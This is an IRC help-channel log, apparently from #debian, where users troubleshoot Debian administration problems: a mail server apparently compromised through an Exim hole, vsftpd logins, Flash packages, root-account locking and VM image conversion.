| 16:46.12 | thomaschaaf | I lost network connectivity due to the restart.. |
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| 16:47.17 | petemc | thomaschaaf: can you install packages? debsums might be useful |
| 16:47.36 | thomaschaaf | no network at all |
| 16:47.56 | ciss | hi, can someone explain to me the differences between system groups and user groups, beside their differing guid ranges? |
| 16:48.13 | petemc | thomaschaaf: it does sound as if the machine may have been compromised |
| 16:48.35 | thomaschaaf | would seem stupdi for a hacker to dot his though.. |
| 16:48.42 | thomaschaaf | if they'd wanted to use it.. |
| 16:48.48 | thomaschaaf | and not have me know |
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| 16:49.48 | gnarface | ciss: i think there's probably a more thorough description in the debian policy manual but my understanding of it is basically that system groups are mostly for system level access and system users (daemons and shit) - user groups are the ones you add yourself |
| 16:51.33 | CissWit | ciss there's none, technically. |
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| 16:52.36 | gnarface | yea, ciss it is merely an organizational convention |
| 16:52.39 | petemc | thomaschaaf: md5sum /sbin/ifconfig , compare to grep sbin/ifconfig /var/lib/dpkg/info/net-tools.md5sums |
| 16:53.23 | thomaschaaf | same |
| 16:53.27 | CissWit | but in practice, system groups design the groups that are used by system's apps, and not by users. So they often have no shell, no pass, no home, and limited priviledge |
| 16:53.38 | ciss | gnarface, CissWit: it seems that system groups are mostly for use by packages |
| 16:53.43 | thomaschaaf | wait |
| 16:53.45 | thomaschaaf | wrong server |
| 16:53.59 | ciss | thanks, guys |
| 16:54.06 | CissWit | and it's the same distinction between system users and common users |
| 16:54.48 | thomaschaaf | not the same |
| 16:54.52 | CissWit | ciss the main purpose of having system groups is for avoiding apps to run as root. It limits the problems in case of compromised app. |
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| 16:56.28 | Bennit | Hi |
| 16:56.28 | ciss | i'm currently configuring permissions for a web accessible /home/%user%/projects/%project%/htdocs structure and trying to figure out how i can grant access to apache without messing up user private groups and the permissions in general |
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| 16:56.34 | Bennit | How do I reload resolv.conf? |
| 16:56.38 | Bennit | (besides rebooting) |
| 16:57.11 | petemc | you dont need to do anything |
| 16:57.22 | thomaschaaf | if I do an ls and mount it from a different location: http://pastie.org/1383082 |
| 16:57.46 | jkprg | hi. do you know any tool to synchronize installed packaged across several debian servers? thx |
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| 16:59.12 | peterrooney | jkprg: dpkg --get-selections and dpkg --set-selections |
| 16:59.12 | petemc | jkprg: you can export lists of installed packages from one server and use them on another , /msg dpkg aptitude clone |
| 16:59.44 | ciss | what do you think: should i create a separate /projects folder and symlink each user dir inside the user's home dir? |
| 16:59.45 | CissWit | ciss: i'd use the same group for all your users. Make the group of apache member of the group of your users. This way, if the directory is readable for group, it is readable for apache. The your user can easily restrict files that the apache user may access. |
| 17:00.03 | petemc | thomaschaaf: if thats just a vm you might want to consider destroying it, if you have others that used a similar config etc you might want to look at the security of those |
| 17:00.28 | thomaschaaf | this is the only one accessible from outside |
| 17:00.34 | thomaschaaf | because it is a mailserver.. |
| 17:00.45 | tabakhase | hu, how important is a local named/bind? first: on a webserver amnd scn: on a "hidden" mysql server (no external ip) |
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| 17:00.58 | petemc | thomaschaaf: does it run exim? |
| 17:01.07 | thomaschaaf | yup |
| 17:01.17 | thomaschaaf | why? |
| 17:01.26 | petemc | thomaschaaf: exim has been remotely exploitable recently |
| 17:01.41 | petemc | so thats doubtless what has happened |
| 17:01.43 | thomaschaaf | great so Imissed an update probably? |
| 17:01.47 | petemc | yes |
| 17:02.03 | petemc | but the update came after the exploit was known to have been used, so dont feel too bad |
| 17:02.23 | thomaschaaf | there a way to check where the message is? don'T want to get the backup up and running |
| 17:02.29 | thomaschaaf | and then have it fail again |
| 17:02.37 | petemc | what message? |
| 17:03.01 | thomaschaaf | I would think someone sent an email and when it gets opened it runs something from that mail? |
| 17:03.10 | thomaschaaf | or is it actually using imap or something? |
| 17:03.35 | petemc | are you talking about the exploit? |
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| 17:04.21 | petemc | it was exploited by writing large amounts of data during an smtp transaction |
| 17:04.23 | thomaschaaf | petemc: exactly |
| 17:04.47 | petemc | i wouldnt concern yourself with looking for that, whoever got it would have had root access and could cover their tracks |
| 17:04.48 | thomaschaaf | okay so if I restore a week old backup (it just started today) it should work |
| 17:05.03 | petemc | i wouldnt like to trust it |
| 17:05.24 | thomaschaaf | I guess I will just restore backups and hope for the best :( |
| 17:05.40 | petemc | do a fresh install and selectively restore data |
| 17:05.45 | petemc | very selectively |
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| 17:13.48 | thomaschaaf | damn how do I restore ls now I deleted it on the wrong server :D |
| 17:14.03 | thomaschaaf | is that findutils? |
| 17:14.54 | jrib | thomaschaaf: reinstall coreutils |
| 17:15.15 | thomaschaaf | oh thanks |
| 17:15.19 | jrib | why you feel the need to delete it anywhere... well.. I won't ask... |
| 17:15.40 | thomaschaaf | I just wanted to try something on the compromised system.. |
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| 17:19.50 | dclarke | I downloaded install_flash_player_10_linux.deb from Adobe .. how do I install a deb file ? with dpkg ? |
| 17:20.10 | Pryon | indeed |
| 17:20.23 | dclarke | --install package_file <-- this looks good |
| 17:20.32 | dclarke | I better "inspect that" first I guess |
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| 17:22.49 | dclarke | oh hell |
| 17:23.12 | dclarke | sudo dpkg --install install_flash_player_10_linux.deb results in dpkg: error processing install_flash_player_10_linux.deb (--install): package architecture (i386) does not match system (amd64) |
| 17:23.16 | dclarke | now what ? |
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| 17:23.40 | jhutchins_lt | dclarke: Download the amd64 package and install it. |
| 17:23.55 | dclarke | assuming there is one |
| 17:23.57 | dclarke | okay |
| 17:24.03 | jhutchins_lt | It's "beta". |
| 17:24.09 | dclarke | oh .. lovely |
| 17:24.28 | dclarke | I have flashplugin-nonfree installed already but the web site at Oracle complains the version is wrong or too old |
| 17:24.50 | dclarke | how do I pkgrm flashplugin-nonfree ? |
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| 17:25.40 | jhutchins_lt | If you have the nonfree package try running the updater. |
| 17:25.41 | dclarke | $ sudo dpkg --purge flashplugin-nonfree does not seem to work |
| 17:26.21 | dclarke | sudo aptitude search flash | grep flashplugin-nonfree says pi flashplugin-nonfree - Adobe Flash Player - browser plugin, wtf is "pi" ? |
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| 17:26.51 | jhutchins_lt | update-flashplugin-nonfree |
| 17:26.54 | dclarke | I just want to remove the flashplugin-nonfree package and then install the one from Adobe .. the beta stuff |
| 17:26.55 | share | hi |
| 17:27.14 | share | What .iso should I download from here http://cdimage.debian.org/debian-cd/5.0.7/i386/iso-cd/ ? |
| 17:27.58 | share | why are there different cds |
| 17:28.12 | share | with different size |
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| 17:28.39 | SuperAlekZ | hey :) |
| 17:28.46 | dkr | share: the netinst is the easiest |
| 17:28.50 | jhutchins_lt | share: Debian has about 30,000 packages available. Most of the various images are for different regionalization. |
| 17:29.11 | share | dkr: i just want to download the iso and burn |
| 17:29.16 | dclarke | I always grab the big DVD ... it gets me started even wihout a network |
| 17:29.17 | share | but there is trilions of it |
| 17:29.24 | dkr | share: http://www.debian.org/CD/ |
| 17:29.25 | jhutchins_lt | share: Like dkr says, we usually recommend the netinstall if you have anything like a decent connection; it only downloads the packages you actually use. |
| 17:29.30 | mguy | share: netinst or cd1 |
| 17:29.41 | dclarke | then again .. I'm running squeeze .. so don't listen to me |
| 17:29.55 | SuperAlekZ | jordanm: are you there? |
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| 17:30.06 | SuperAlekZ | could anyone help me with configuring my vsftpd? :/ |
| 17:30.30 | share | damn |
| 17:30.43 | mguy | SuperAlekZ: where are you stuck |
| 17:30.51 | mguy | SuperAlekZ: and what are you following to set it up |
| 17:31.14 | share | jhutchins_lt: i select the packages? |
| 17:31.21 | bomber76 | hello i am using armv5tel debian sequeeze, i wrongly deleted /etc/nginx files, when i reinstall, i cannot get the file back, how can i get back the stock config files? |
| 17:31.52 | SuperAlekZ | mguy: it says 331: specify a password and then 530 :/ |
| 17:31.56 | SuperAlekZ | well.. docs, tuts etc |
| 17:32.00 | SuperAlekZ | various sources |
| 17:32.01 | share | isn't there a standart cd iso? |
| 17:32.02 | share | lol |
| 17:32.10 | mguy | share: yes, use cd1 |
| 17:32.17 | share | lok |
| 17:32.19 | share | tks |
| 17:32.28 | jhutchins_lt | share: That's the nice thing about standards, there are so many to choose from. |
| 17:32.31 | mguy | SuperAlekZ: Do you have it setup for anonymous or have you added the users? |
| 17:33.01 | SuperAlekZ | well i have created the user ftpsecure and i have a user called blablaftp |
| 17:33.04 | SuperAlekZ | both have shell /bin/false |
| 17:33.08 | share | wget -c http://cdimage.debian.org/debian-cd/5.0.7/i386/iso-cd/debian-507-i386-CD-1.iso |
| 17:33.16 | SuperAlekZ | and anonymous is set to NO |
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| 17:33.42 | emaia | Hello |
| 17:33.43 | share | the website is kinda slow |
| 17:33.58 | mguy | share: use a mirror that's closer to you |
| 17:33.59 | share | im gonna use torrent |
| 17:34.10 | emaia | i want change my console login windows-> debianserver login: |
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| 17:34.25 | mguy | SuperAlekZ: any hints in your /var/log/vsftpd.log? |
| 17:34.27 | emaia | anyone could help me? Thanks |
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| 17:34.44 | SuperAlekZ | gonna check it :) |
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| 17:35.34 | share | mguy: fomr where |
| 17:35.38 | share | from |
| 17:36.04 | mguy | share: http://www.debian.org/CD/http-ftp/#mirrors |
| 17:36.04 | thomaschaaf | great having a backup and never tried restoring it.. |
| 17:36.19 | jhutchins_lt | emaia: Don't understand your question. |
| 17:36.26 | SuperAlekZ | mguy: http://pastebin.com/ivMZyBh5 |
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| 17:36.35 | thomaschaaf | I have all files and they have the users but the are uids so it's 500 e.g. how would I write back the backup with rsync? |
| 17:36.49 | mguy | SuperAlekZ: brb |
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| 17:37.04 | SuperAlekZ | np :) kk |
| 17:37.24 | emaia | jhutchins_lt: i want change the console informattion login. For example show the IP and the hostname |
| 17:37.45 | skinder | did anyone use remastersys on squeeze? can i make a livecd if i use this system for a 1/2 year? must i do anything before executing "remastersys dist"? |
| 17:38.06 | share | mguy: there's current live folders |
| 17:38.16 | share | http://mirrors.nfsi.pt/debian-cd/ |
| 17:38.36 | share | hm |
| 17:38.42 | share | http://mirrors.nfsi.pt/debian-cd/5.0.7/i386/iso-cd/ here |
| 17:38.57 | tomreyn | is there a way to define a default password aging policy for non-system users (i.e. standard human users), which applies when you create a new system account (such as by using adduser)? |
| 17:39.38 | share | mguy: tks ;) |
| 17:39.53 | tomreyn | adduser.conf(5) wouldn't mention such an option |
| 17:42.20 | dkr | perhaps some PAM config options |
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| 17:43.54 | emaia | tomreyn: you can use LDAP |
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| 17:46.13 | tomreyn | sure, i could also use a different operating system, but that's not the point ;-) |
| 17:46.44 | dkr | tomreyn: check out /etc/login.defs |
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| 17:46.57 | tomreyn | useradd seems to be configurable to do it |
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| 17:48.06 | tomreyn | oh right dkr, thanks |
| 17:48.38 | anddam | I installed Terminal.app and it's not in Xorg menu, aren't xorg programs supposed to appear in Debian menu? |
| 17:48.40 | jhutchins_lt | tomreyn: http://tldp.org/LDP/sag/html/index.html <- pretty sure it's in there. |
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| 17:49.01 | jhutchins_lt | anddam: How did you install it? |
| 17:49.07 | anddam | aptitude |
| 17:49.22 | anddam | shoulfd I try a dpkg-reconfigure? |
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| 17:49.40 | jhutchins_lt | anddam: Possibly log out and log back in. Gnome? |
| 17:49.48 | anddam | nope |
| 17:49.48 | sylar | incron doesn't work reliably |
| 17:49.59 | anddam | jhutchins_lt: no DE, wmaker |
| 17:50.24 | anddam | I've just started the VM and I installed Terminal last session |
| 17:50.24 | jhutchins_lt | anddam: That menu may not respect the .desktop files. |
| 17:50.30 | anddam | ah ok |
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| 17:50.36 | sylar | I made some close-write statements, and it should delete stuff in a directory |
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| 17:50.46 | sylar | and I still get stuff in the directory |
| 17:50.59 | mguy | SuperAlekZ: you set the user up right, and they have no shell? Can you add a new regular user just to test? |
| 17:51.05 | mguy | are you using adduser or what |
| 17:51.07 | anddam | also in order to start wmaker I run an update-alternatives by hand, is that how I am supposed to do it? |
| 17:51.18 | SuperAlekZ | yep adduser username |
| 17:51.54 | anddam | jhutchins_lt: menu contains programs that I haven't installed, so it's not reflecting system status |
| 17:52.46 | mguy | SuperAlekZ: regular user is okay. |
| 17:53.08 | SuperAlekZ | but mguy then you could login via putty :o |
| 17:53.28 | mguy | SuperAlekZ: well I won't and if I do you can log me out ;) |
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| 17:54.41 | jhutchins_lt | anddam: Annoying. You'll have to track down the menu docs for wm. |
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| 17:55.02 | anddam | I'll check, thanks |
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| 17:56.33 | ciss | CissWit: thanks for you advice, got everything working now |
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| 17:58.28 | sylar | which inotify-cxx version does lenny have? |
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| 17:59.09 | sylar | I can't find that inotify-cxx |
| 17:59.19 | sylar | http://inotify.aiken.cz/?section=inotify-cxx&page=changelog&lang=en |
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| 17:59.32 | sylar | does it have a different name? |
| 17:59.46 | muddd | the man page doesn't show it, but isn't there a way to "cp" a file to a non-existant directory, where cp creates the directory? |
| 18:00.06 | muddd | and would "mv" be able to do that |
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| 18:04.41 | allure | Is there an efficient way to "reset" an installation? I want to start over on a machine and I can't reinstall it because it is over 400km away from me. Any ideas? |
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| 18:06.47 | ciss | if i specify a config file for adduser that misses some settings (e.g. FIRST_UID, LAST_UID), will debian use the values defined in /etc/adduser.conf ? |
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| 18:07.34 | breardo | hello #debian |
| 18:07.46 | breardo | been trying to get a kernel to boot for days... cant get past this: http://pastebin.ca/2021374 |
| 18:07.56 | breardo | looks like a typical error when a disk controller driver isnt present, but it is... |
| 18:08.01 | breardo | any ideas ? any help ? Please!! |
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| 18:13.18 | wildc4rd | evenin all |
| 18:13.48 | breardo | evening |
| 18:14.05 | daemonkeeper | # grub-install --recheck /dev/sda |
| 18:14.05 | daemonkeeper | Searching for GRUB installation directory ... found: /boot/grub |
| 18:14.05 | daemonkeeper | The file /boot/grub/stage1 not read correctly. <- wtf? |
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| 18:16.56 | anddam | jhutchins_lt: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=290161 |
| 18:18.11 | jhutchins_lt | Fixed? |
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| 18:18.52 | jhutchins_lt | daemonkeeper: I wouldn't go rebooting that quite yet. Maybe reinstall the grub package? Which release? |
| 18:19.27 | daemonkeeper | Lenny. Newly installed, does indeed not boot (and yes, this is a remote server). |
| 18:20.26 | daemonkeeper | Interestingly, grub-pc seems to work, doesn't generate Xen entries though (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505517) |
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| 18:21.14 | anddam | jhutchins_lt: seems not, I already have "menu.hook" |
| 18:21.54 | daemonkeeper | Lenny's grub-pc seems to miss /etc/grub.d/20_linux_xen. Is that correct? |
| 18:23.32 | mguy | SuperAlekZ: still here, let me take a look |
| 18:23.44 | anddam | jhutchins_lt: I don't have "menu" package installed |
| 18:23.52 | SuperAlekZ | mguy: posted it into query ;) |
| 18:24.05 | SuperAlekZ | sorry for the delay.. we just have guests here atm |
| 18:24.36 | anddam | jhutchins_lt: now it's working |
| 18:24.38 | anddam | thanks |
| 18:24.41 | anddam | bye |
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| 18:47.15 | mguy | SuperAlekZ: not sure what else to check man |
| 18:47.43 | SuperAlekZ | damn :/ |
| 18:47.58 | SuperAlekZ | mguy: do i probably have to insert all the users in that userfile or something? |
| 18:48.02 | topgun21 | I can't seem top get fto access to my desktop rom my fedora laptop using vsftpd |
| 18:48.13 | mguy | SuperAlekZ: only if you're using virtual user I think |
| 18:48.29 | SuperAlekZ | this means? |
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| 18:51.27 | dury | hi there channel :) |
| 18:54.14 | mguy | SuperAlekZ: you can setup virtual users so you don't have to have an actual user account to log in |
| 18:54.26 | crazygir | hiya! so I have a debian 32 bit system running as a Xen VM (citrix xenserver), and want to get this onto a physical system. I used the installer's encrypted LVM, and will be going from a 10GB virtual disc to a 4GB SD, both of which complicate this. Would it be easier to reinstall/setup, or is a transfer from VM--> hardware possible? |
| 18:54.35 | dury | I'm doubting who is the kid in this image how does he call http://img502.imageshack.us/i/charlesy.jpg/ |
| 18:54.53 | SuperAlekZ | oh okay |
| 18:55.04 | JPT | yea, that's not charly |
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| 18:55.13 | SuperAlekZ | hm mguy do you probably have a good tutorial i could follow? |
| 18:55.29 | dury | I used to watch those cartoons |
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| 18:55.46 | JPT | me too^^ |
| 18:55.55 | JPT | they were nice |
| 18:56.08 | dury | JPT: so it's charly or what |
| 18:56.14 | crazygir | I was definitely a calvin& hobbes kid |
| 18:56.14 | myxie | ......... |
| 18:56.16 | JPT | it's linus i guess |
| 18:56.20 | lyhana8 | hi there, I'm trying to install mercurial on a readynas Duo = debian sarge (2.6.17.8ReadyNAS) |
| 18:56.23 | lyhana8 | but it fail~ |
| 18:56.44 | mguy | SuperAlekZ: I'd start here http://vsftpd.beasts.org/#docs |
| 18:56.54 | dury | JPT: hahahahaha come on how is it? |
| 18:57.03 | JPT | hmm? |
| 18:57.14 | JPT | i'm just sure that this is linus |
| 18:57.35 | dury | it's not |
| 18:57.37 | JPT | hmm |
| 18:57.41 | JPT | let's see |
| 18:57.44 | JPT | who else we got... |
| 18:57.50 | JPT | i know snoopie, charly, linus... |
| 18:57.56 | dury | u joking |
| 18:57.57 | JPT | so there was another guy |
| 18:58.02 | SuperAlekZ | mguy: thanks :) |
| 18:58.30 | jhutchins_lt | That's linux |
| 18:58.46 | lyhana8 | I add a repo into /etc/apt/sources.list and edit /etc/apt/preferences, but here are the error during `apt-get update`: http://pastebin.com/pU0XcPeR |
| 18:58.46 | jhutchins_lt | Linux. |
| 18:58.46 | jhutchins_lt | Lucy's little brother. |
| 18:58.46 | SuperAlekZ | mguy: maybe i found the problem lol :o http://pastebin.com/PGQuYCHN |
| 18:58.53 | jhutchins_lt | dang LinuS |
| 18:58.53 | dury | JPT: I want to find a bigger resolution picture of it |
| 18:58.55 | JPT | mh..whatever :D |
| 18:59.04 | lyhana8 | does the repo still exists? |
| 18:59.09 | JPT | i watched that a long time ago |
| 18:59.13 | JPT | about ~12 years ago |
| 18:59.18 | jhutchins_lt | Linus van Pelt |
| 18:59.29 | dury | hahahahahahah |
| 18:59.42 | dvs | and rerun! |
| 19:00.14 | mguy | SuperAlekZ: if it's already running it might be trying to grab it again? |
| 19:00.25 | SuperAlekZ | dunno :S |
| 19:01.07 | dury | JPT: could you please help me to find a pic of it? |
| 19:01.10 | JPT | hmm |
| 19:01.14 | JPT | he's Schroeder |
| 19:01.30 | jhutchins_lt | No, JPT you're right, Schroder. |
| 19:01.32 | JPT | like that? http://www.dragoart.com/tuts/pics/8/1922/how-to-draw-schroeder-from-the-peanuts-gang.jpg |
| 19:01.38 | jhutchins_lt | Lucy's sweet on him. |
| 19:01.42 | JPT | xD |
| 19:01.55 | JPT | i had to read the wiki article though :/ |
| 19:01.56 | lyhana8 | anyone? |
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| 19:02.17 | johnfg | hi guys |
| 19:02.37 | SuperAlekZ | lol mguy i can't login via root @ ftp, but i can login with another username which is kinda like my... bridge to login to root lol |
| 19:02.51 | jhutchins_lt | JPT: http://rpmedia.ask.com/ts?u=/wikipedia/en/thumb/c/c3/Schroeder_Piano.jpg/230px-Schroeder_Piano.jpg |
| 19:02.59 | dury | great JPT... really appreciate it |
| 19:03.10 | johnfg | Running lenny, is there a way that I can get the vnc server to allow me to login remotely? At present, I can only login remotely if I'm logged onto the console. |
| 19:03.11 | lyhana8 | SuperAlekZ: check your /etc/ssh/sshd_config |
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| 19:03.13 | JPT | no problem... 10s of google |
| 19:03.28 | jhutchins_lt | !tell lyhana8 about archives |
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| 19:04.04 | jhutchins_lt | dury: I guess you were the one that asked. |
| 19:04.32 | SuperAlekZ | lyhana8: opened it, what now? |
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| 19:05.29 | lyhana8 | SuperAlekZ: look for `PermitRootLogin` |
| 19:05.41 | lyhana8 | should be at yes if you want to use root account |
| 19:06.55 | lyhana8 | jhutchins_lt: er... not sure how this is related to my backport issue |
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| 19:07.08 | SuperAlekZ | lyhana8: it's set to no, but i don't want to use the root account :S i wanan use another one, one that i created for ftp, but he can't login there and another regular user can |
| 19:07.11 | SuperAlekZ | that's what confuses me |
| 19:07.46 | jhutchins_lt | !sarge->lenny |
| 19:08.18 | delby | is it possible to ad a deb line to sources.list that specify just one package? i have squeeze installed but i need only one package from sid. |
| 19:08.36 | dvs | !backports |
| 19:08.36 | dpkg | A backport is a package from a newer Debian branch, compiled from source for an older branch to avoid dependency and <ABI> complications. http://www.debian.org/doc/manuals/reference/ch02.en.html (2.7.4 and 2.7.10), http://backports.debian.org/ . Ask me about <debian-backports> and <backport caveat>, <volatile>. See also <simple sid backport>. |
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| 19:09.06 | lyhana8 | !debian-backports |
| 19:09.06 | dpkg | backports.debian.org (formerly backports.org) is an official repository of <backports> for the current stable distribution, prepared by Debian developers. Read http://backports.debian.org/Instructions/ to enable and use. See also <bdo key> <bdo mirrors> <bdo contents> <bdo list> <bdo kernel> <bdo bugs> <bdo pinning> <volatile>. http://www.debian.org/News/2010/20100905 |
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| 19:10.07 | SuperAlekZ | lyhana8: read what i wrote |
| 19:10.09 | SuperAlekZ | *? |
| 19:10.15 | lyhana8 | SuperAlekZ: sorry I was talking about SSH not FTP, never use FTP~ Maybe you forgot to add your user to the right group |
| 19:10.52 | SuperAlekZ | lyhana8: can other users also login with SSH via FileZilla? |
| 19:12.44 | lyhana8 | SuperAlekZ: yes with its called SFTP |
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| 19:13.35 | SuperAlekZ | lyhana8: and vsftpd is no SFTP? |
| 19:13.39 | ska | Is there a way to remotely install Debian on a VMware server?? |
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| 19:14.28 | lyhana8 | vsftpd = Very Secure FTP != V... SFTP |
| 19:14.55 | lyhana8 | SFTP = SSH File Transfer Protocol SuperAlekZ |
| 19:16.09 | jhutchins_lt | lyhana8: Sarge is long gone from the main repos. I _think_ the backports may be available in the archives. If not they should be in the snapshpots. |
| 19:16.12 | topgun21 | how dom i mount an external usb ntfs drive at boot time? |
| 19:16.13 | pikudoz | <PROTECTED> |
| 19:16.36 | jhutchins_lt | topgun21: Put it in your fstab. |
| 19:17.02 | lyhana8 | jhutchins_lt: hmm I follow the debian instructions but still got error during `apt-get update` |
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| 19:17.14 | topgun21 | how do i=read and write to a ufs+ volume from linDebiam? |
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| 19:17.58 | jhutchins_lt | lyhana8: You have sarge in your sources list. It's no longer supported and only available from the archives. Backports may not be available. |
| 19:18.07 | lyhana8 | jhutchins_lt: failed to fetch.... see: http://pastebin.com/HfvizL1q |
| 19:18.08 | snow_man | scp > sftp |
| 19:18.13 | lyhana8 | jhutchins_lt: seems so |
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| 19:18.38 | lyhana8 | jhutchins_lt: so is there a way to install mercurial on sarge other than backport repo? |
| 19:18.57 | jhutchins_lt | lyhana8: I doubt it. |
| 19:19.09 | jhutchins_lt | lyhana8: Is there a reason not to upgrade the system? |
| 19:19.21 | SuperAlekZ | so lyhana8 if i am using vsftpd then i am using some kind of SFTP correct? :D |
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| 19:20.06 | lyhana8 | SuperAlekZ: nope |
| 19:21.00 | SuperAlekZ | shit :( |
| 19:21.07 | SuperAlekZ | but it's more secure than ftp is it lyhana8 ? |
| 19:21.31 | lyhana8 | SuperAlekZ: if I'm right, FTP data are not encrypted, not even login/pwd, but with SFTP you send your FTP data in a SSH pipe |
| 19:21.53 | SuperAlekZ | lyhana8: and with VSFTPD? |
| 19:22.00 | lyhana8 | SuperAlekZ: vsftpd is more secure on the server side |
| 19:22.57 | lyhana8 | SuperAlekZ: vsftpd is a FTP server. It more secure means it will be more difficult to "hack" into it, but doesn't protect the data during transfert |
| 19:23.00 | SuperAlekZ | hm alright |
| 19:23.02 | SuperAlekZ | :/ |
| 19:23.31 | lyhana8 | SuperAlekZ: you should ask someone else, I don't use FTP due to its lack of encryption |
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| 19:28.34 | nirazio | Sometime ago I just tested to see if I could login to desktop from root, and I succeeded. I clicked on Others on the userlist and entered root and its password and logged in. Now I'd like to know how we can disable root login altogether. I didn't see any option as such in the Login Screen. |
| 19:29.39 | lyhana8 | nirazio: maybe in gdm config |
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| 19:30.12 | stew | nirazio: are you using gdm? |
| 19:30.54 | nirazio | stew: Yes i am using |
| 19:31.08 | stew | nirazio: run gdmsetup as root and go to the security tab |
| 19:32.01 | crazygir | any LVM gurus around? I'm curious how difficult it would be to create an image (that could be dd'd to a disk) from an encrypted LVM (larger --> smaller) |
| 19:33.31 | pipeline | You can't do that. |
| 19:33.49 | crazygir | ok :) |
| 19:34.21 | crazygir | I guess I have to reinstall. I was hoping I could move a VM -->hardware without doing so |
| 19:34.40 | crazygir | what breaks in that equation pipeline |
| 19:35.29 | pipeline | You can't make it smaller. |
| 19:35.54 | pipeline | You could convert the VM's disk image to a more normal/boring format and DD that to a disk drive. That's not a problem. |
| 19:36.04 | pipeline | at least it's not usually a problem :P |
| 19:36.22 | pipeline | if the geometry is really crazy I guess you could run into trouble with your partition table, but that's almost never true :) |
| 19:36.37 | pipeline | nirazio: passwd -l root |
| 19:36.51 | pipeline | nirazio: locking the root account can cause surprising behaviour. Not recommended. |
| 19:37.13 | nirazio | How to enable it again?? |
| 19:37.42 | pipeline | nirazio: -u unlocks |
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| 19:38.36 | m3tti | hey folks what does that debian-squeeze-di-beta2 mean???? |
| 19:38.55 | nirazio | Getting error passwd: Permission denied. |
| 19:39.05 | dvs | m3tti: not the final installer for squeeze |
| 19:39.08 | thomaschaaf | so I have this problem that on the other server the uid 102 was set to "sshd" on my actual server it is "Debian-exim" ist there a way to give all files where sshd is the owner to give it to Debian-exim? |
| 19:39.20 | tabakhase | wy does my host know his ipv6 adress while it is not configured in the interfaces? |
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| 19:40.14 | pipeline | tabakhase: ipv6 stateless autoconfiguration |
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| 19:40.24 | nirazio | pipeline: Getting error passwd: Permission denied. |
| 19:40.34 | m3tti | dvs: maybe i've to use that cd to get gnome working there was one bug report on the dailybuild cd1 that it doesn't have gnome on it cause its to big or something like that |
| 19:40.44 | johnfg | Sorry if I missed an answer, but any way to have vnc server work remotely, 'without' being logged into the console? |
| 19:40.48 | pipeline | nirazio: you need to run passwd as a superuser. It's very possible that sudo won't work if the root account is locked. Locking the root account is not recommended. |
| 19:40.55 | tabakhase | pipeline thx 4 keyword /moving to google ;-.) |
| 19:41.13 | ska | Is there a good way to remote install Debian guest into VMware server? |
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| 19:41.32 | nirazio | pipeline: So how to enable it again??? |
| 19:41.34 | pipeline | ska: lots of good ways |
| 19:41.44 | dvs | m3tti: I believe that. Gnome would not be small enough to fit on one cd. |
| 19:42.07 | pipeline | nirazio: if sudo is broken because the root account is locked, you'll have to boot a rescue disc, mount root, and edit the passwd/shadow files by hand. |
| 19:42.23 | pipeline | ska: obvious method: upload CD image to VMware datastore, install with remote console |
| 19:42.38 | m3tti | but on lenny and the dailybuilds from can't remember worked well for me and there is also a kde version of the first cd |
| 19:42.41 | pipeline | ska: less obvious method: install to local VMware VM, upload the entire VM to remote vmware datastore |
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| 19:43.09 | pipeline | ska: even less obvious method: use vmware converter (free) to convert existing OVF or existing Workstation VM for use on remote VMware host |
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| 19:44.07 | nirazio | pipeline: It is saying "passwd: password expiry information changed." |
| 19:44.11 | tabakhase | one big apache or 4 virtual ones on the same server? (16gb mem, 2x4x2,5Ghz) |
| 19:44.12 | pipeline | nirazio: the thing is, sudo should still work with a locked root account. su should be broken, sudo should be working. |
| 19:44.47 | pipeline | tabakhase: depends on what you're doing |
| 19:44.54 | jhutchins_lt | Why does firefox think it's useful to drag objects around on a web page? |
| 19:45.05 | pipeline | jhutchins_lt: because it looked cool in a demo |
| 19:45.05 | tabakhase | pierrep apache with some php, thats it |
| 19:45.23 | pipeline | tabakhase: then why deal with the administrative overhead of virtualization ? |
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| 19:45.30 | ska | pipeline: can I convert the vbox image to vmware using that tool? |
| 19:45.38 | ska | pipeline: or do I even need to? |
| 19:45.44 | pipeline | ska: probably |
| 19:45.51 | nirazio | pipeline: by mistake i have executed that command..What shall i do to set it back to previous state?? |
| 19:46.00 | pipeline | ska: debian isn't going to be picky about the virtual hardware |
| 19:46.02 | tabakhase | pierrep great =) just wanted a "its ok to make one big" |
| 19:46.07 | pipeline | ska: so you should be able to convert the image pretty much any way you want |
| 19:46.33 | pierrep | tabakhase, could you add tape pi before tab thank you |
| 19:46.38 | pipeline | nirazio: if you can't unlock the root account with passwd, you'll have to boot a rescue disc and edit passwd/shadow by hand to unlock root or add a duplicate uid0 account. |
| 19:46.39 | pierrep | pip i mean |
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| 19:47.25 | tabakhase | pierrep what? pip? |
| 19:48.05 | tabakhase | sorry, i did not understand |
| 19:48.44 | nirazio | pipeline: But su is working still |
| 19:48.47 | nirazio | how?? |
| 19:48.58 | pipeline | ska: for example, you could use the qemu disk image tools to convert from the vbox disk image to vmdk, create a new VMware VM, and add the vmdk to that new VM |
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| 19:49.14 | pipeline | nirazio: that makes no sense to me. You shouldn't be able to su to a locked account. You must have unlocked it. |
| 19:50.00 | nirazio | pipeline: what abt this command "sudo usermod -p '!' root" |
| 19:50.20 | pipeline | nirazio: should just be "sudo passwd -u root" |
| 19:50.40 | ska | pipeline: Thanks.. I'll try it. |
| 19:50.42 | tabakhase | ohh, now i see... pierrep and pipeline :D |
| 19:50.55 | nirazio | pipeline: what this command will do "sudo usermod -p '!' root" |
| 19:54.14 | delby | how do i make the output of dpkg -L foo come out page by page? |
| 19:54.30 | tabakhase | pipe it to less |
| 19:54.42 | delby | thanks |
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| 19:58.54 | pinkisntwell | is it possible to set the mouse wheel scroll sensitivity? |
| 19:59.19 | pipeline | pinkisntwell: mouse wheels are usually not an analogue device, so, no. |
| 19:59.30 | pipeline | pinkisntwell: the mouse wheel is just buttons #5 and #6 on your mouse |
| 19:59.42 | pipeline | pinkisntwell: you can't set mouse wheel sensitivity any more than you can set left and right button sensitivity |
| 19:59.52 | tabakhase | :D |
| 19:59.58 | johnfg | no takers on the vnc server question, eh? |
| 20:00.05 | tabakhase | maybe he just means how many lines are scolled |
| 20:01.44 | BLZbubba | is there a standard gnome image viewer? my nautilus doesn't show images and i'm wondering if it's because the viewer is missing |
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| 20:02.51 | m3tti | BLZbubba: eog is the std |
| 20:03.21 | pinkisntwell | pipeline: oh... can i set it so that mouse buttons #5 and #6 are double-pressed then? |
| 20:03.22 | pinkisntwell | pipeline: how are desktope environments do it? |
| 20:03.22 | pinkisntwell | pipeline: how do desktop environments do it? |
